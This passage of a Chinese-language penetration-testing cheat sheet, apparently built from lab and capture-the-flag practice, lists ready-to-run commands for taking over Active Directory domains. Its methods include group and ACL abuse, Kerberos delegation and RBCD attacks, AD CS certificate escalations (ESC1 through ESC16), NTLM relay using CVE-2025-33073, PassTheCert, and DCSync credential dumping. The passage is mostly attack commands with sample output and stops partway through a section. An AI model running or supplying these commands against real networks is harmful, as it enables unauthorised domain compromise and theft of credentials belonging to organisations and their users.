Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects

恢复用户

Restore-ADObject -Identity 'ic6b1deb-c372-4cbb-87b1-15031de169db'
#如果提示名字已被占用,可以使用-newname参数重新起名
Restore-adobject -identity 'ebe15df5-e265-45ec-b7fc-359877217138' -newname wackymaker

这里-Identity参数指向删除用户的ObjectGUID

Exchange Windows Permissions(Exchange Windows权限)

获取到这个高权限对于域来说是毁灭性打击 因为其具备writedacl权限

最简单的打法就是将我们的用户直接在本地写入dcsync权限

powerview本地

先上传powerview并加载
之后修改以下参数执行
$username = "$<只要域名不要后缀的domain,例如baidu.com就只填baidu>\$user"; $password = "$pass"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity '$user' -TargetIdentity '$domain\Domain Admins' -Rights DCSync

bloodyad远程

bloodyAD --host $ip -u $user -p $pass -d bloody add dcsync $user

之后直接打dcsync

impacket-secretsdump $user:$pass@$ip

Account Operators(账户操作员)

该组允许我们创建任意账户,并添加到大部分组当中,所以我们可以将用户添加进入域管

本地创建用户-powershell

New-AdUser $username -enabled $true -accountpassword $newpass

本地添加-powershell

net group "Domain Admins" user-name /add /domain

本地添加-powerview

Add-DomainGroupMember -Identity '$group' -Members '$user'

远程添加

bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" add groupMember "DEVELOPERS" "$user"

如果没有权限添加入管理员组,则可以尝试添加入laps读取组或者其他高危组进行下一步操作

LAPS_Readers(laps读取者)

很易于理解。能读取laps 本地请求

Get-ADComputer <电脑名称> -property 'ms-mcs-admpwd'

远程nxc

nxc smb $ip -u $user -p $pass --laps

委派

无约束

rubeus

dir \\cdc01\pipe\spoolss
.\Rubeus.exe monitor /interval:5 /filteruser:CDC01$
.\SpoolSample.exe CDC01 APPSRV01
Rubeus.exe ptt /ticket:doIFIjCCBR.......

约束

可转发情况

rubeus

为可以约束委派的用户请求tgt

.\Rubeus.exe asktgt /user:$user /password:$pass /domain:$domain /outfile:ticket.kirbi

利用这个票据去请求管理员或者dc机器用户的票据并注入内存

.\Rubeus.exe s4u /ticket:ticket.kirbi /msdsspn:cifs/dc.painters.htb /impersonateuser:DC$ /domain:painters.htb /altservice:CIFS,HOST,LDAP /ptt
##解释
s4u	使用 S4U(Service for User)攻击模块,结合 S4U2Self + S4U2Proxy
/ticket:ticket.kirbi	提供用于身份的 TGT 票据(由约束委派用户如 blake 获取)
/msdsspn:cifs/dc.painters.htb	指定委派目标服务的 SPN,也就是该服务已被允许约束委派
/impersonateuser:DC$	想要伪造的用户账户(此处是域控的计算机账户)
/domain:painters.htb	目标域名
/altservice:CIFS,HOST,LDAP	生成的 TGS 可用于多个服务(即 SPN 列表),常见于访问共享、远程登录、LDAP等
/ptt	“Pass The Ticket” —— 直接将生成的 TGS 注入当前会话中(无需再导出使用)

搞定管理员或者dc后直接打dcsync即可

impacket
impacket-getTGT $domain/$user -hashes $hash -dc-ip $ip
or
impacket-getTGT $domain/$user:$pass -dc-ip $ip
export KRB5CCNAME=$user.ccache
impacket-getST -spn $spn -impersonate administrator $domain/$user -k -no-pass -dc-ip $ip
例如下
impacket-getST -spn CIFS/DC.painters.htb -impersonate administrator $domain/$user -k -no-pass -dc-ip $ip

不可转发情况下

如果没有启用 Protocol Transition(协议转换),那么 S4U2Self 获取的 ST 是不可转发的,也就无法 S4U2Proxy。

要求:目前我只会一种特定情况下的不可转发约束委派打法,也就是手动构造rbcd,这需要配置了约束委派的目标为一个机器用户并且这个机器用户还必须有一个自己注册的服务。整体的逻辑就是,既然不允许委派为任意用户,我们就可以先伪造成任意用户再去委派。

举例环境:这里为了不混淆,我举例具有委派的机器为delegator$,同时我们还有一个域用户ldap_monitor,并且存在两个服务一个browser一个http,并且browser是delegator$注册的服务,http是约束委派的服务,我会在结尾解释为何需要这两个服务

添加用户ldap_monitor进入delegator$的rbcd可攻击组

impacket-rbcd 'rebound.htb/delegator$' -hashes :c5c2c04a2590c117fa9e1a07a110dad3 -k -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -dc-ip dc01.rebound.htb -use-ldaps -k

利用这个ldap_monitor用户打rbcd伪造为dc01$身份去请求browser服务st

impacket-getST 'rebound.htb/ldap_monitor:1GR8t@$$4u' -spn browser/dc01.rebound.htb -impersonate DC01$ -dc-ip $ip

一旦获取了伪造票据,我们就能利用这个伪造的机器用户去伪造dc01$去访问http服务(利用约束委派)

impacket-getST -spn http/dc01.rebound.htb -impersonate 'DC01$' 'rebound.htb/delegator$' -hashes :c5c2c04a2590c117fa9e1a07a110dad3 -additional-ticket DC01\$@browser_dc01.rebound.htb@REBOUND.HTB.ccache -dc-ip $ip

之后直接利用这个票据打secretdump

KRB5CCNAME='DC01$@http_dc01.rebound.htb@REBOUND.HTB.ccache' impacket-secretsdump -no-pass -k dc01.rebound.htb -just-dc-ntlm
细节问题解答

为什么必须 browser 是 delegator$ 注册的 SPN? 因为 TGS 票据是针对特定服务 SPN 的,KDC 在处理 S4U2Proxy 请求时,会检查:

TGS 的服务是否等于你(delegator$)账号注册的服务;

如果不匹配,就无法用该 TGS 请求进一步的 ST。

所以必须构造一个 delegator$ 能“合法代理”的票据,也就是它自己注册的服务 SPN,如 browser/dc01.rebound.htb。

为什么 ldap_monitor 能获取伪造票据 因为我们手动将 ldap_monitor 加入到 delegator$ 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 中,KDC 会允许 ldap_monitor 代表任意用户(如 DC01$)请求对 delegator$ 注册的服务(browser)的票据。

RBCD(基于资源委派)

impacket远程

查看是否存在创建机器用户权限

nxc ldap $ip -u $user -p $pass -M maq
impacket-addcomputer -computer-name 'wack$' -computer-pass 'wackyM2ker!' $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-addcomputer -computer-name 'wack$' -computer-pass 'wackyM2ker!' $domain/$user:$pass -dc-ip $ip

写入委派

impacket-rbcd -action write -delegate-to "target$" -delegate-from "wack$" $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-rbcd -action write -delegate-to "target$" -delegate-from "wack$" $domain/$user:$pass -dc-ip $ip
impacket-getST -spn cifs/$target_FQDN -impersonate administrator $domain/wack$:'wackyM2ker!' -dc-ip $ip
export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

利用可以直接打psexec等移动,或者足够权限可以打dcsync

impacket-psexec administrator@APPSRV01.prod.corp.com -k -no-pass
or
impacket-secretsdump $domain/$user@$ip -k -no-pass -dc-ip $ip -target-ip $ip
or
KRB5CCNAME=$admin.ccache nxc smb $ip --use-kcache --ntds --user Administrator

powermad.ps1+rubeus本地

首先加载powermad以及powerview并创建计算机用户

New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4x' -AsPlainText -Force)

利用powerview参数进行acl绑定

$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

写入目标计算机

Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

利用rubeus获取我们创建计算机的hash

.\Rubeus.exe hash /password:h4x /user:myComputer /domain:support.htb

利用此hash请求目标管理员tgt

.\Rubeus.exe s4u /user:0xdfFakeComputer$ /rc4:B1809AB221A7E1F4545BD9E24E49D5F4 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt

无机器用户下利用域用户进行远程攻击

有条件,目标需要能修改自身密码(一般域用户都可以)

首先确定此用户确实对目标有rbcd(allowtoacl)权限,没有的话利用权限写入一个

impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user -hashes :$ntlm -dc-ip $ip
或者
impacket-rbcd -action write -delegate-to "target$" -delegate-from "$user" $domain/$user:$pass -dc-ip $ip

之后利用hash请求域用户tgt(必须利用hash,要不然后续session_key加密不一定是rc4加密,无法攻击,如果是密码,请先转换为hash

#将密码转换为hash
iconv -f ASCII -t UTF-16LE <(printf "$pass") | openssl dgst -md4
#请求tgt
impacket-getTGT $domain/$user -hashes :$hash -dc-ip $ip
#验证tgt是否是rc4加密session_key
impacket-describeTicket $user.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : c6427e4b47c680c7017571327c141b95
...............
#当看到tgt的session_key是ntlm格式而不是aes长段格式。这一步就成功了

请求完毕后,将此改此用户hash等于session_key

impacket-changepasswd -newhashes :c6427e4b47c680c7017571327c141b95 $domain/$user:$pass@$FQDN -dc-ip $ip

修改成功后,就能正常利用域用户进行rbcd

KRB5CCNAME=$user.ccache impacket-getST -u2u -impersonate Administrator -spn cifs/$FQDN $domain/$user -k -no-pass

ADCS证书相关

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation 以上是详细解释

在此之前我需要介绍,certipy-ad的三种使用方式

-p "$pass"
-hashes [lmhash:]nthash
-k #导入的票据或者直接在命令行指定ccache

ESC1

虽然理论上esc1是允许低级别用户申请任意证书,但是有时候这个低级别用户还是有限制的,要看清楚允许请求的对象

certify+rebeus本地攻击

Certify.exe request /ca机构 /template:高危模板 /altname:目标
例如
Certify.exe request /ca:ca01.corp.com\corp-CA01-CA /template:CorpKerbAuth /altname:Dave
创建一个cert.pem文件,将证书从-----BEGIN RSA PRIVATE KEY-----复制到-----END CERTIFICATE-----
利用生成证书的命令进行格式变换,并且输入一个密码,这里例如:lab
Rubeus.exe asktgt /user:Dave /certificate:cert.pfx /password:lab /ptt

certipy-ad远程攻击

获取pfx证书

certipy req -u $user@$doamin -p '$pass' -ca $ca -target $FQDN_ca -template 'CorpKerbAuth' -upn 'administrator@$domain' -out 'cert' -dc-ip $ip

利用证书请求tgt

certipy auth -pfx cert1.pfx -dc-ip $ip
特殊情况

1,如果提示CERTSRV_E_KEY_LENGTH,是因为公钥长度对于模板来说太小,默认是2048,可以加以下参数增加长度

-key-size 4096

2,如果在认证的时候提示sid不存在,则可以先利用lookupsid查看要请求的目标的sid,并且替换-upn参数为sid

#查看域内sid
impacket-lookupsid $domain/$user:$pass@$ip 

比如上面查到管理员sid为S-1-5-21-2983547755-698260136-4283918172-500,则可以将-upn ‘administrator@$domain’ ,添加上-sid S-1-5-21-2983547755-698260136-4283918172-500,变成这样

certipy req -u $user@$doamin -p '$pass' -ca $ca -target $FQDN_ca -template 'CorpKerbAuth' -upn 'administrator@$domain' -sid S-1-5-21-2983547755-698260136-4283918172-500 -out 'cert' -dc-ip $ip

ESC4

esc4的原理是某个证书被配置了某权限能全权更改或者编辑的设置,如果我们有这个更改权限就能打esc4

最基础的打法就是将证书修改为esc1的类型,之后直接打esc1,certipy在4.8与5.02的命令不同,以下我记录的是5.02版本

首先更改目标模板为esc1类型

certipy template -u $user@$domain -hashes $ntlm -template <模板名称> -write-default-configuration -no-save
或者
certipy template -u $user@$domain -p $pass -template <模板名称> -write-default-configuration -no-save

之后直接打esc1请求管理员证书

certipy req -u $user@$domain -hashes $ntlm -ca $ca -template <模板名称> -upn administrator@$domain 
或者
certipy req -u $user@$domain -p $pass -ca $ca -template <模板名称> -upn administrator@$domain 

亲求管理员hash

certipy auth -pfx administrator.pfx -dc-ip $ip

ESC8

参考文章

https://vuln.dev/vulnlab-cicada/#exploitation

如果 Web 注册处于活动状态,并且未采取额外的缓解措施,则可以通过将特权计算机(例如域控制器)的身份验证中继到该注册来利用它。这是一个非常常见的漏洞,被广泛称为 ESC8。通常,这至少需要 2 台计算机进行攻击,但是在后续我会介绍一个可用的单kali打法

向域中添加计算机(如果已经有存在控制机器可以跳过)

我们需要有一个域用户并且其存在添加机器账户的权限,这一点可以利用nxc进行确认

nxc ldap $ip -u $user -p $pass -k -M maq

之后利用这个用户将我们的一台windows添加入域,可以选择一台windows虚拟机

dns相关设置

1,打开网络设置:

    控制面板 > 网络和共享中心 > 更改适配器设置

    右键“以太网” > 属性 > 选择“IPv4” > 属性

    设置如下:
    DNS: 10.129.xxx.xxx    # 域控的 IP
    ⚠️ 不要设自动获取 DNS,否则默认会使用 Google、Cloudflare 这些公网 DNS
2,启用 IPv6
    netsh interface ipv6 show interface 看下是否禁用了

    控制面板 > 网络适配器 > 属性 里勾上 IPv6,重启网络适配器或电脑

加入域

打开系统设置:

    设置 > 系统 > 关于 > 高级系统设置

    或:右键“此电脑” > 属性 > 更改设置 > 更改(更改计算机名)

点击「更改...」,将你的电脑加入域:

    勾选“域”,填入:cicada.vl

    点击确定

当弹出凭据提示时,输入:
用户名:cicada.vl\Rosie.Powell
密码:Cicada123

重启后登陆即可

利用可用域内计算机攻击

https://github.com/CICADA8-Research/RemoteKrbRelay

直接在攻击机器上攻击

RemoteKrbRelay.exe -adcs -template $ESC8模板名 -victim $触发机器FQDN -target $caFQDN -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

将生成的证书编码保存在kali上

echo -ne "MIACAQ..." | base64 -d > cert.p12

pkinit认证

certipy auth -pfx cert.p12 -dc-ip $ip -domain $domain

正常来说我们能获取到触发机器的机器用户hash,一般是用于攻击dc,所以接下来直接dcsync即可

利用cve-2025-33073进行kali本机攻击

简单来说,如果目标dc版本比较落后存在33073这个漏洞,虽然他是dc开启了smb签名没办法直接攻击,但是可以配合esc8进行攻击

其实33073漏洞本质上就是利用了dns欺骗,我们可以利用bloodyad注入恶意dns

bloodyAD -u $user -p $pass -d $domain --host $FDQN add dnsRecord $hostname+1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA $kali_ip
示例
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.79

注入成功后利用certipy-ad进行中继服务,这一步的操作是将触发给我们的ntlm认证中继给ca服务,并且利用这个认证请求esc8漏洞证书

certipy relay -target 'http://$CA_FQDC/' -template $ESC8模板名

利用nxc测试一下目标机器支持哪些强制认证模块

nxc smb $ip -u $user -p $pass -M coerce_plus 

如果这里显示PetitPotam可用,我会用它触发强制认证,使用记得修改其中的dns指向

nxc smb $ip  -u $user -p $pass -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

当一切没问题的时候certipy会出现一个连接并最终生成一个目标机器用户的.pfx

certipy auth -pfx dc-jpq225.pfx -dc-ip $ip

ESC9

利用条件除了能查出来之外,我们还需要控制一个对其他用户有写权限的用户

首先将可写用户upn改为管理员

certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41

之后以修改完毕的用户请求证书

certipy-ad req -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41 -debug

请求完毕后将upn改回去

certipy-ad account update -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41 

利用“管理员”证书获取真管理员hash

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.41 -domain certified.htb

ESC14(显式证书映射)

计算机和用户的 altSecurityIdentities 属性允许指定显式证书映射 。显式证书映射是对证书的引用。任何证书与主体的显式证书映射中的引用匹配的人都可以使用此证书作为主体进行身份验证,

certipy并不会输出esc14,想要找到此攻击途径需要枚举用户的属性,查看是否存在altSecurityIdentities,这里我记一个攻击记录

枚举到a用户具有属性

altSecurityIdentities             : X509:<RFC822>a@www.com

讲的就是邮箱等于a@www.com的人请求的证书可以直接用于a用户认证

假如此时c用户对b用户有写入权限,且b用户允许请求一个用于认证的证书,我们可以利用c给b的邮箱写入a@www.com

bloodyAD --host $ip -d $domain -u c -p $pass set object b mail -v a@www.com

b用户请求的证书允许用来认证a用户

certipy req -username b@$domain -hashes :$hash -target $ip -ca $ca -template $证书模板 -dc-ip $ip

假设请求下来的是b.pkf

└─$ certipy auth -pfx b.pfx -dc-ip $ip -domain $domain -username a
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'a@$domain'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'a.ccache'
[*] Wrote credential cache to 'a.ccache'
[*] Trying to retrieve NT hash for 'a'
[*] Got hash for 'a@$domain': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c

ESC15(EKUwu)

a打法-通过 schannel 直接模拟 (注入“客户端身份验证”应用程序策略)

首先请求证书

certipy req -u '$user@$domain' -p '$pass' -dc-ip '$ip' -target '$ca_host' -ca '$ca' -template '$tmp' -upn 'administrator@$domain' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication'

利用证书直接模拟ldaps认证(与传递证书打法一致)

certipy auth -pfx 'administrator.pfx' -dc-ip '$ip' -ldap-shell

b打法-通过注册代理滥用进行 PKINIT/Kerberos 模拟(注入“证书请求代理”应用程序策略)

步骤 1:从 V1 模板(带有“Enrollee supplies subject”)请求证书,注入“Certificate Request Agent”应用程序策略。 此证书供攻击者成为注册代理。此处没有为攻击者自己的身份指定 UPN,因为目标是代理功能,注意application-policies是固定的1.3.6.1.4.1.311.20.2.1值

certipy req -u '$user@$domain' -p '$pass' -dc-ip '$ip' -target '$ca_host' -ca '$ca' -ca 'CORP-CA' -template '$tmp' -application-policies '1.3.6.1.4.1.311.20.2.1'

第 2 步:使用“代理”证书代表目标特权用户请求证书。 这是一个类似于 ESC3 的步骤,使用步骤 1 中的证书作为代理证书。

certipy req -u '$user@$domain' -p '$pass' -dc-ip '$ip' -target '$ca_host' -ca '$ca' -template 'User' -pfx 'attacker.pfx' -on-behalf-of '$domain\Administrator'

第 3 步:使用“代表”证书以特权用户身份进行身份验证

certipy auth -pfx 'administrator.pfx' -dc-ip '$ip'

ESC16

打法与esc9相似,需具备一个可以请求错误证书的可写用户

首先将可写用户upn改为管理员

certipy-ad account -u "$USER_B"@"$DOMAIN" -hashes ":$HASH_B"  -ns "$RHOST" -upn 'administrator' -user "$USER_B" update

用此用户请求证书

certipy-ad req -u "$USER_B"@"$DOMAIN" -hashes ":$HASH_B"  -k -dc-ip "$RHOST" -ns "$RHOST" -target "dc01.fluffy.htb" -ca 'fluffy-DC01-CA' -template 'User'

改回upn防止冲突

certipy-ad account -u "$USER_B"@"$DOMAIN" -hashes ":$HASH_B"  -ns "$RHOST" -upn 'ca_svc@fluffy.htb' -user "$USER_B" update

利用证书请求管理员hash

certipy-ad auth -pfx 'administrator.pfx' -dc-ip "$RHOST" -username "administrator" -domain "$DOMAIN" -k -dc-ip "$RHOST" -ns "$RHOST"

PassTheCert(传递证书攻击)

有一种情况是您可以注册易受攻击的证书模板,但生成的证书无法进行 Kerberos 身份验证,也就是并未给pkinit正确配置,我们无法通过证书验证,这时候就需要利用传递证书攻击,其原理利用了SChannel 向 LDAP 进行身份验证,我们将只有ldap的访问权限,但这就够了,有工具可以让我们利用

passthecert.py

首先提取certipy分离的pfx证书中的密钥和证书,我们需要他们在不同的地方

certipy cert -pfx administrator_authority.pfx -nocert -out administrator.key
certipy cert -pfx administrator_authority.pfx -nokey -out administrator.crt

之后去搞定这个工具

https://github.com/AlmondOffSec/PassTheCert/blob/main/Python/passthecert.py

如下格式运行,我们会获得一个限制shell

python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain $domain -dc-ip $ip

输入help可以查看可以使用的命令,但是最常用的还是将以捕获用户直接添加入管理员组,我们一般申请的证书就是管理员证书

add_user_to_group $user administrators

certipy-ad

certipy-ad auth -pfx dc1.pfx -dc-ip $ip -ldap-shell

输入help,与passthecert.py利用一致

certipy直接利用

certipy auth -pfx 'administrator.pfx' -dc-ip '$ip' -ldap-shell

进入之后输入help查看命令

发布漏洞模板(需要权限)

当我们如果是pki admin组,我们也许具备创建新模板的特权,我们可以添加一个esc1进行利用 所需工具

https://github.com/GoateePFE/ADCSTemplate
https://github.com/Orange-Cyberdefense/GOAD/tree/main/ansible/roles/adcs_templates/files?source=post_page-----658e93aa3669---------------------------------------

需要powershell会话,将psm1脚本以及esc1下载到目标使用如下命令写入新esc1模板

import-module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName ESC -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "$domain\$group"

如上group就写自己所掌控的用户的组,之后直接打esc1

注意,如果目标没有装rsat工具集(ActiveDirectory)模块的话该脚本会报错无法使用

powershell脚本数字签名

这个我不确定是否该记在这里,但这也确实和证书相关,所以我还是就此落笔,当开启了applocker防护后,极端情况下我们可能只能利用证书(一般是来自管理员,这个是可能会泄露的)签名的程序或者代码才能运行,这里我模拟搞定了一个证书,并且可以用来签名,我们该如何做

首先是爆破证书私钥密码,这个在爆破栏有讲解,之后就是按照如下将证书添加入当前用户的证书库

$pass = ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force
$cert = Import-PfxCertificate -FilePath 'C:cert.pfx' -Password $pass -CertStoreLocation Cert:\CurrentUser\My

如果我们添加成功使用$cert理论上能看到类似下面的东西

PS C:\get-badpasswords> $cert

   PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\My

Thumbprint                                Subject
----------                                -------
204F12473FD6911584501215758270B25701D049  CN=Administrator, CN=Users, DC=windcorp, DC=htb 

之后我们可以利用证书对任意脚本可执行文件数字签名

Set-AuthenticodeSignature .\test.ps1 $cert

如果证书权限正确,我们能成功获得执行权限

acl滥用

GetChangesALL与GetChanges

一旦存在这两个权限,我们就能打dcsync,具体打法看后渗透模块

wirteowner

目标为组-组相关操作

远程写入

首先修改所有者

bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" set owner $target $user
或者
impacket-owneredit -action write -new-owner "$user" -target "$target_group" "$domain"/"$user":"$pass" -dc-ip $ip

之后赋予完全控制权限

impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal $user -target '$target' "$domain"/"$user":'$pass' -dc-ip $ip

将自己添加入组

net rpc group addmem "$target" "$user" -U "$domain"/"$user":'$pass' -S "dc01.$domain"
或者
bloodyAD --host $FQDN --dc-ip $ip -d "$domain" -u "$user" -p "$pass" add groupMember "$target" "$user"

将自己移除组

bloodyAD --host $FQDN -d $DOMAIN -u $USER -p $pass remove groupMember '要移除的组' '目标(可以是组也可以是用户)'

powerview本地操作

首先将目标用户分配为组的所有者

Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity '$user'

作为所有者,此用户可以授予此用户对组的全部权限

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity $user -Rights All

拥有权限后能将自己写入其中

Add-DomainGroupMember -Identity 'Domain Admins' -Members '$user'

目标为用户

将目标owner写为自己

impacket-owneredit -action write -new-owner "$user" -target "$target_user" "$domain"/"$user":"$pass" -dc-ip $ip
或者
bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" set owner $target $user

之后赋予自己对其完全掌控权

impacket-dacledit -action 'write' -rights 'FullControl' -principal "$user" -target "$target_user" "$domain"/"$user":"$pass"

之后打影子凭证或者改密码都是可以的了

GenericALL

目标为正常用户

本地修改密码-net

net user testservice1 newpassword /domain

远程修改用户密码-nxc

nxc smb $ip -u $user -p $pass -M change-password -o USER=$target NEWPASS=wackyMAKER1!
或者
nxc smb $ip -u $user -p $pass -x 'net user $target wackyMAKER1!'
或者
nxc smb $ip -u $user4 -H $hash4 -M change-password -o USER=$target  NEWPASS=wackyMAKER1!

远程修改用户密码-bloodyAD

bloodyAD --host $ip -d $domain -u $user1 -p $pass1 set password $target wackyMAKER1!
or
bloodyAD --host $ip -d $domain -u $user1 -p :$ntlm set password $target wackyMAKER1!

打靶向kerberoasting(Targeted Kerberoast),伪造 SPN 绑定,使该用户变成可被 Kerberoast 的目标。
targetedKerberoast.py

targetedKerberoast.py -v -d "$DC_HOST" -u "$USER" -p "$PASSWORD"

bloodyAD

bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything'
or
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p :$ntlm set object "$TARGET" servicePrincipalName -v 'http/anything'

nxc

nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txt
影子凭证

如果目标dc配置证书服务,且具备全局权限,还支持远程pkinit认证,则可以直接打影子凭证完全控制

远程解封禁用账户-bloodAD
bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" remove uac -f ACCOUNTDISABLE "$target_user"
or
bloodyAD --host "$ip" -d "$domain" -u "$user" -p :$ntlm remove uac -f ACCOUNTDISABLE "$target_user"
将被删除的用户恢复

查询被删除用户

Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' `
-IncludeDeletedObjects -Properties objectSid, lastKnownParent, ObjectGUID `
| Select-Object Name, ObjectGUID, objectSid, lastKnownParent | Format-List

恢复用户

Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'

改用户密码

$SecurePass = ConvertTo-SecureString "NewP@ssw0rd123" -AsPlainText -Force
Set-ADAccountPassword -Identity "$TARGET" -Reset -NewPassword $SecurePass

目标为机器用户

rbcd

创建一个机器用户,并配置好此机器用户对目标机器的委派,之后直接打RBCD(基于资源委派)

具体操作流程如下

创建机器用户(我这里使用的是powermad,并且使用的是cred提供权限)

New-MachineAccount -MachineAccount test01 -Password (ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) -Credential $Cred

构造rbcd

#获取新创建机器sid(用powerview或者其他工具都可以)
$ComputerSid = Get-DomainComputer test01 -Properties objectsid -Credential $Cred | Select -Expand objectsid
#构建ACE,也就是委派的dacl
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAG:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(ComputerSid))"
#写入目标msDS-AllowedToActOnBehalfOfOtherIdentity属性,$target替换为实际目标hostname
Get-DomainComputer $target -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $Cred

后面就是正常的rbcd打法了

影子凭证

开启pkinit最好打影子凭证

目标为组

本地组操作
net group testgroup offsec /add /domain

或者写凭证

$pass = ConvertTo-SecureString '$pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('$domain\$user', $pass)

利用凭证操作

Add-DomainObjectAcl -Credential $cred -TargetIdentity "$target" -PrincipalIdentity "$domain\$user"
Add-DomainGroupMember -Credential $cred -Identity "$target" -Members "$domain\$user"

或者使用powerview

Add-DomainGroupMember -Identity '$group' -Members '$user'
远程组操作

将自己添加组

bloodyAD --host "$ip" -d "$domain" -u "$user" -p "$pass" add groupMember "DEVELOPERS" "$user"
or
bloodyAD --host "$ip" -d "$domain" -u "$user" -p :$ntlm add groupMember "DEVELOPERS" "$user"

将自己移除组

bloodyAD --host $FQDN -d $DOMAIN -u $USER -p $pass remove groupMember '要移除的组' '目标(可以是组也可以是用户)'
or
bloodyAD --host $FQDN -d $DOMAIN -u $USER -p :$ntlm remove groupMember '要移除的组' '目标(可以是组也可以是用户)'-p :$ntlm

WriteDACL

目标为正常用户或者机器用户

为目标添加GenericALL权限

本地加载powerview

Add-DomainObjectAcl -TargetIdentity testservice2 -PrincipalIdentity offsec -Rights All

远程bloodyad

bloodyAD --host $ip -u $user -p $pass -d $domain add genericAll $target $赋予权限的目标or自己
or
bloodyAD --host $ip -u $user -p :$ntlm -d $domain add genericAll $target $赋予权限的目标or自己

目标为机器用户

创建一个机器用户,并配置好此机器用户对目标机器的委派,之后直接打RBCD(基于资源委派)

具体操作流程如下

创建机器用户(我这里使用的是powermad,并且使用的是cred提供权限)

New-MachineAccount -MachineAccount test01 -Password (ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force) -Credential $Cred

构造rbcd

#获取新创建机器sid(用powerview或者其他工具都可以)
$ComputerSid = Get-DomainComputer test01 -Properties objectsid -Credential $Cred | Select -Expand objectsid
#构建ACE,也就是委派的dacl
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAG:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(ComputerSid))"
#写入目标msDS-AllowedToActOnBehalfOfOtherIdentity属性,$target替换为实际目标hostname
Get-DomainComputer $target -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $Cred

后面就是正常的rbcd打法了

为目标添加dcsync权限

所需用户无所谓,只要是有用户密码就行,我们是将一个用户直接写入了对域管的dcsync权限

本地powerview

$username = "$<只要域名不要后缀的domain,例如baidu.com就只填baidu>\$user"; $password = "$pass"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity '$user' -TargetIdentity '$domain\Domain Admins' -Rights DCSync

远程bloodyad

bloodyAD --host $ip -u $user -p $pass -d bloody add dcsync $user
or
